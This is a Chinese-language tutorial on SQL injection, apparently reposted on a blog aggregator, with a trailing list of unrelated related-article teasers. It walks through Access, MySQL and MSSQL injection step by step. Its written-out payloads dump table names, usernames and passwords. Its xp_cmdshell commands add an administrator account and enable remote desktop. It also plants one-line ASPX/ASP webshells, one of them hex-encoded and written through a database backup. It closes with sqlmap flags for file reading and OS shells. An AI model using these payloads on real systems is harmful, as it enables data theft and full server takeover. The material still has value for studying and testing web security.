08.SQL注入-下(超详细!!!)

news2025/1/10 23:26:59

1、Access注入

1.1 判断是否存在注入漏洞

?id=10 and 1=1    //不报错
?id=10 and 1=2    //报错

在这里插入图片描述

1.2 判断字段数

?id=10 order by 1
...
?id=10 order by 7   //不报错
?id=10 order by 8   //报错
说明有7个字段

在这里插入图片描述

在这里插入图片描述

1.3 猜表名

?id=10 and exists(select * from administrator)   //不报错
猜测表名是administrator

在这里插入图片描述

1.4 猜字段名

?id=10 and exists(select user_name from administrator)    返回正常页面,说明administrator表中存在字段user_name
?id=10 and exists(select password from administrator)    返回正常页面,说明administrator表中存在字段password	

在这里插入图片描述

以上一般能用工具进行破解,了解即可

2、SQL注入高级查询(union select)

在前面的案例中,我们已经猜解出了表名administrator及字段名user_name,password,现在来进行高效查询获得字段内容。

?id=10 and 1=2 union select 1,2,3,4,5,6,7 from administrator     //可以发现2和3是回显点

在这里插入图片描述

?id=10 and 1=2 union select 1,user_name,password,4,5,6,7 from administrator

在这里插入图片描述

2、MySQL数据库注入

MySQL数据序在各种Web应用程序中的使用也非常广泛。与其他数据库一样,在Web应用程序编写的过程中,如果对用户提交的参数未进行过滤或过滤不严,也会导致SQL注入攻击漏洞的产生.

MySQL数据库通常与PHP网页程序搭建网站平台,各大门户网站采用MySQL+PHP的网站结构,例如新浪、网易、TOM网站等.由于MySQL数据库的应用时象大多足一些大型的网站企业公司,因此针对MySQL数据库的注入攻击技术的危害性也非常大

2.1 常见注入攻击

MySQL 4及之前的版本中,由于不支持子语句查询,而且当“php.ini"配置文件中的magic_quotes_gpc参数设置为“On(开启)”时,提交的变量中包含’(单引号),"(双引号),以及反斜线、and和空字符等危险的字符,都会被数据库自动转为含有反斜线的转义字符,给注入攻击带来很大的困难.由于这个特性,导致许多管理员认为MySQL比较安全。然而事实上,安全永远是相对的,漏洞与攻击威胁的存在却是绝对的。

MySQL 5版本数据库中,由于新增加了一个information_schema库,该库中存储了数据库信息内容,因此可以直接爆库、爆表、爆字段,让注入攻击变得极为简单。

2.2 MySQL4注入

MySQL4版本数据库由于存在着字符转义与不支持字句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似Access的方法进行查询猜解。MySQL 4的注入攻击方法如下。

首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。

2.3 MySQL5注入

MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多,其使用方法通常有如下几种:
① 通过对MySQL的数据进行猜解获取敏感的信息,来进一步通过网站的各种功能获取控制权。
② 通过load_fileO函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。
③ 通过dumpfile/outfile函数导出获取WebShell。

2.4 MySQL注入过程

① 检查注入点

and 1=1
and 1=2

② 判断字段数

1'order by 1#   //不报错
1'order by 2#   //不报错
1'order by 3#   //报错
说明有2个字段

在这里插入图片描述

③ 查看数据库版本、库名

1'union select version(),database()--+

在这里插入图片描述

④ 获取mysql所有库

1'union select 1,group_concat(schema_name) from information_schema.schemata#

在这里插入图片描述

⑤ 获取表名

1'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述

⑥ 获取表里的字段

1'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

在这里插入图片描述

⑦ 获取所有字段内容

1'union select 1,group_concat(user,password) from users#

在这里插入图片描述

3、MsSQL注入

MsSQL Serve数据库在Web应用程序开发中也占了很大一部分比例,很多脚本语言都能够与之相结合.下面介绍一下基于ASP+MsSQL环境下的注入攻击技术。
对MsSQL的注入,可采用与Access注入相同的原理和方法,但足利用MsSQL的特性,可以直接实施危害性极大的攻击,或者使用一些高级查询语句,快速得到表名和字段名等数据内容。

3.1 判断是否存在MsSQL注入

and exists(select * from sysobjects)      //页面返回正常,则说明有MsSQL注入点

3.2 注入点权限分类

1、sa权限

sa为数据库用户中最高权限,而且默认也是系统权限,有了系统权限,对服务器安全威胁是相当高的。如果数据库与Web服务器是同一个服务器,默认情况下攻击者就可以通过MsSQL自带的存储过程对整个服务器进行控制。

① 检查是否是mssql数据库

and exists(select * from sysobjects)

② 查询当前数据库系统的用户名

and system_user=0

③ 检查注入点是否为sa权限

and 1=(select IS_SRVROLEMEMBER('sysadmin'))

④ 判断一下xp_cmdshell存储过程是否存在

and 1=(select count(*) from master.dbo.sysobjects where name='xp_cmdshell') 

没有的话,可以输入这条命令进行恢复

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;-- 

⑤ 添加账号

;exec master..xp_cmdshell 'net user test test /add'
;exec master..xp_cmdshell 'net localgroup administrators test /add'

⑥ 开3389

;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

2、dbowner

当数据库连接账户为dbowner权限时,无法直接利用扩展存储执行各种系统命令,进行攻击的过程比较烦琐。
当注入点为dbo权限时,通常首先利用xp_dirtree扩展存储列出Web目录,然后利用SQL语句创建一个临时表,插入一句话木马到临时表中。然后利用数据库备份语句,将数据库备份到Web目录并保存为ASP格式的文件,即可得到一个一句话木马后门。最后利用一句话木马客户端连接后门,得到WebShell后就可以控制整个服务器了。

① 查看当前网站是否为db_owner权限

and 1=(SELECT IS_MEMBER('db_owner'));--

② 找出网站路径

通过报错或baidu、google查找

通过相关语句:

drop table black;create Table black(result varchar(7996) null,id int not null(identity(1,1)))--

insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--

and (select result from black where id=1)>0--

③ 写入一句话木马获取webshell

%20;exec%20master..xp_cmdshell%20'Echo%20"<%@ Page Language="Jscript"%><%eval(Request.Item["123"],"unsafe");%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\sqlserver\muma.aspx'--

差异备份

;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple

3、public

① 获取当前网站数据库名称

and db_name()=0--

② 获取当前数据库所有表名

and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--

③ 爆表名及字段名

having 1=1--    //得出表名(admin)和字段名(id)
group by admin.id having 1=1    //接着爆出下一个字段名为name
group by admin.id,admin.name having 1=1--

4、sqlmap常见命令

常用命令解释
-r指定参数post注入 sqlmap.py -r post.txt -p 注入参数
-uget注入
–-level=LEVEL执行测试的等级(1-5,默认为1),使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer
–risk=RISK执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试
-vERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3
-p-p 后面接参数,针对单个参数注入
-threads线程数,如果你想让sqlmap跑的更快,可以更改这个线程 数的值,默认值为10
-batch-smart智能判断测试
–mobile模拟测试手机环境站点
-m批量注入
–dbs查看数据库名
–current-user大多数数据库中可检测到数据库管理系统当前用户
–current-db当前连接数据库名
–is-dba判断当前的用户是否为管理
–users列出数据库所有所有用户
–tables -D 数据库名获取表名
–file-read /etc/password读取文件内容
–os-shell系统交互的shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1987541.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

IP协议解析

我最近开了几个专栏&#xff0c;诚信互三&#xff01; > |||《算法专栏》&#xff1a;&#xff1a;刷题教程来自网站《代码随想录》。||| > |||《C专栏》&#xff1a;&#xff1a;记录我学习C的经历&#xff0c;看完你一定会有收获。||| > |||《Linux专栏》&#xff1…

C语言宏定义的使用

文章目录 &#x1f34a;自我介绍&#x1f34a;宏定义&#x1f34a;宏函数&#x1f34a;嵌入式开发常用do...while(0)&#x1f34a;字符串化运算符 ‘ # ’&#x1f34a;不定参数宏 你的点赞评论就是对博主最大的鼓励 当然喜欢的小伙伴可以&#xff1a;点赞关注评论收藏&#xf…

SQL报错注入之floor

目录 1.简述 2.关键函数说明 1.rand函数 2.floor&#xff08;rand&#xff08;0&#xff09;*2&#xff09;函数 3.group by 函数 4.count&#xff08;*&#xff09;函数 3.报错分析 4.报错流程 4.1寻找注入点 4.2爆数据库名 4.3爆表名 4.4爆字段名 4.5查询数据 1.…

32、Python之面向对象:对象的表示,再论Python是dict包括语法糖

引言 在前面介绍Python容器的时候&#xff0c;我们曾经用过这种夸张的表述&#xff0c;“Python就是包裹在一堆语法糖中的字典”。虽然夸张&#xff0c;其实更多的是为了突出Python中dict的强大之处。今天这篇文章&#xff0c;打算看下Python中类对象、实例对象的表示及内存管理…

甄选范文“论负载均衡技术在Web系统中的应用”软考高级论文系统架构设计师论文

论文真题 负载均衡技术是提升Web系统性能的重要方法。利用负载均衡技术, 可将负载(工作任务) 进行平衡、分摊到多个操作单元上执行, 从而协同完成工作任务, 达到提升Web系统性能的目的。 请围绕“负载均衡技术在Web系统中的应用”论题, 依次从以下三个方面进行论述。 1.…

自动化测试 — selenium + Java

什么是自动化测试 将人为驱动的测试行为转化为机器执行的过程。 自动化测试包括UI 自动化&#xff0c;接口自动化&#xff0c;单元测试自动化。按照这个金字塔模型来进行自动化测试规划&#xff0c;可以产生最佳的自贡话测试产出投入比&#xff08;ROI &#xff09;&#xff0c…

智能氮气柜如何为存储应用提供稳定和安全的环境?

智能氮气柜在保持内部环境的严格控制下&#xff0c;如何为各类高要求的存储应用提供一个稳定和安全的环境&#xff1f; 智能氮气柜内部安装高精度温湿度传感器&#xff0c;持续监测内部环境状况。通过外部连接的氮气供应源&#xff0c;向柜内注入高纯度氮气&#xff0c;当检测到…

k8s—ingress应用

一、ingress和ingress-controller ingress对象&#xff1a; 指的是k8s中的⼀个api对象/资源对象&#xff0c;⼀般⽤yaml配置。作⽤是定义请求如何转发到service的规则&#xff0c;可以理解为配置模板。 ingress-controller&#xff1a; 具体实现反向代理及负载均衡的程序&…

IO-Link通信笔记(十七)——可任意MCU平台移植的面向对象程序设计的IO-Link从站协议栈与接口代码生成和监控上位机与便携式通信主站

一、可任意MCU平台移植的面向对象程序设计的IO-Link从站协议栈 图形化界面与驱动代码库生成功能&#xff0c;是现如今几大半导体芯片供应商选择向广大开发人员推荐的主流开发方式&#xff0c;例如意法的cube-mx。开发人员可以通过这些软件针对所使用芯片的相关外设资源&#xf…

缺失值处理方法:代数/统计/机器学习算法补全数据(附Python-sklearn代码精美可视化绘图)

注&#xff1a;本期的删除或插补方法主要针对连续数据&#xff0c;时间序列数据的插补在后续关于时间序列的博客中讲明。参考鸢尾花丛书&#xff0c;链接如下&#xff1a; 参考书籍及源代码链接https://github.com/Visualize-ML 博客是选出自己感觉用的到的精炼部分加自己的理…

春秋云境 | 文件上传 | CVE-2022-30887

目录 靶标介绍 开启靶场 上传一句话木马 蚁剑连接 找到 flag 靶标介绍 多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口&#xff0c;客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库&#xff0…

eclipse无法使用jdk1.6编译老项目

主要修改两个地方的配置&#xff1a; 1、eclipse中配置的maven版本不能过高&#xff0c;亲测3.2.5版本是好使的。 2、修改eclipse安装目录下的eclipse.ini文件&#xff0c;将其中的-Dosgi.requiredJavaVersion更改为1.6即可&#xff0c;我得默认是1.7 最后附上maven安装包&…

AGV一体式ARM智能控制主机如何替代传统PLC、工控机等方案

工业自动化的不断发展&#xff0c;AGV&#xff08;自动导引车&#xff09;作为一种重要的物流搬运设备&#xff0c;在各个领域得到了广泛的应用。而 AGV 的控制主机是其核心部件之一&#xff0c;直接影响着 AGV 的性能和稳定性。传统的 AGV 控制主机通常采用 x86 工控机交换机i…

【密码学】密码协议的分类:②认证协议

密码协议的分类有很多种方式&#xff0c;这里我采取的是基于协议实现的目的来分类。可以将密码协议分成三类&#xff1a;认证协议、密钥建立协议、认证密钥建立协议。 一、认证协议是什么&#xff1f; 认证协议都在认证些什么东西呢&#xff1f;认证一般要认证三个东西&#x…

防止老年痴呆的小学题

直角三角形的周长为16,斜边长为7,求三角形的面积(不使用勾股定理) 答案为(9*9-7*7)/4

aria2下载器在windows端的使用

一、下载aria2 aria2aria2 is a lightweight multi-protocol & multi-source command-linedownload utility. It supports HTTP/HTTPS, FTP, SFTP,BitTorrent and Metalink. …https://aria2.github.io/打开链接&#xff0c;点击要下载的版本&#xff0c;注意windows版本跟…

k8s持久化存储PV和PVC

一、PV和PVC 1.PersistentVolume (PV) PersistentVolume (PV) 是外部存储系统中的⼀块存储空间&#xff0c;由管理员创建和维护。与 Volume⼀样&#xff0c; PV 具有持久性&#xff0c;⽣命周期独⽴于 Pod&#xff1b; 2.PersistentVolumeClaim (PVC) PersistentVolumeClaim…

MySQL的三大关键日志:Bin Log、Redo Log与Undo Log

MySQL的三大关键日志&#xff1a;Bin Log、Redo Log与Undo Log 1. Bin Log&#xff08;二进制日志&#xff09;2. Redo Log&#xff08;重做日志&#xff09;3. Undo Log&#xff08;回滚日志&#xff09; ) &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷…

8.6 Day14 匿名用户访问ftp位置

vsftpd的端口号&#xff1a;tcp 20、21 vsftpd的配置文件&#xff1a;/etc/vsftpd/vsftpd.conf LInux系统防火墙默认不允许开启20、21端口访问 使用不同用户访问FTP 1.使用匿名用户访问FTP 匿名用户登录时&#xff0c;用户名为ftp&#xff0c;没有密码 测试匿名用户文件上传…

20240806---特征选择与稀疏学习笔记---pptp61-p92---奇异值分解/压缩感知、字典学习

一.奇异值分解 2.要进行特征分解&#xff0c;则矩阵A为方阵&#xff0c;如果矩阵 &#x1d434;A 不是方阵&#xff08;即行数和列数不同&#xff09;&#xff0c;我们仍然可以对其进行分解&#xff0c;这就是奇异值分解&#xff08;SVD&#xff09;的强大之处。 二.压缩感知 …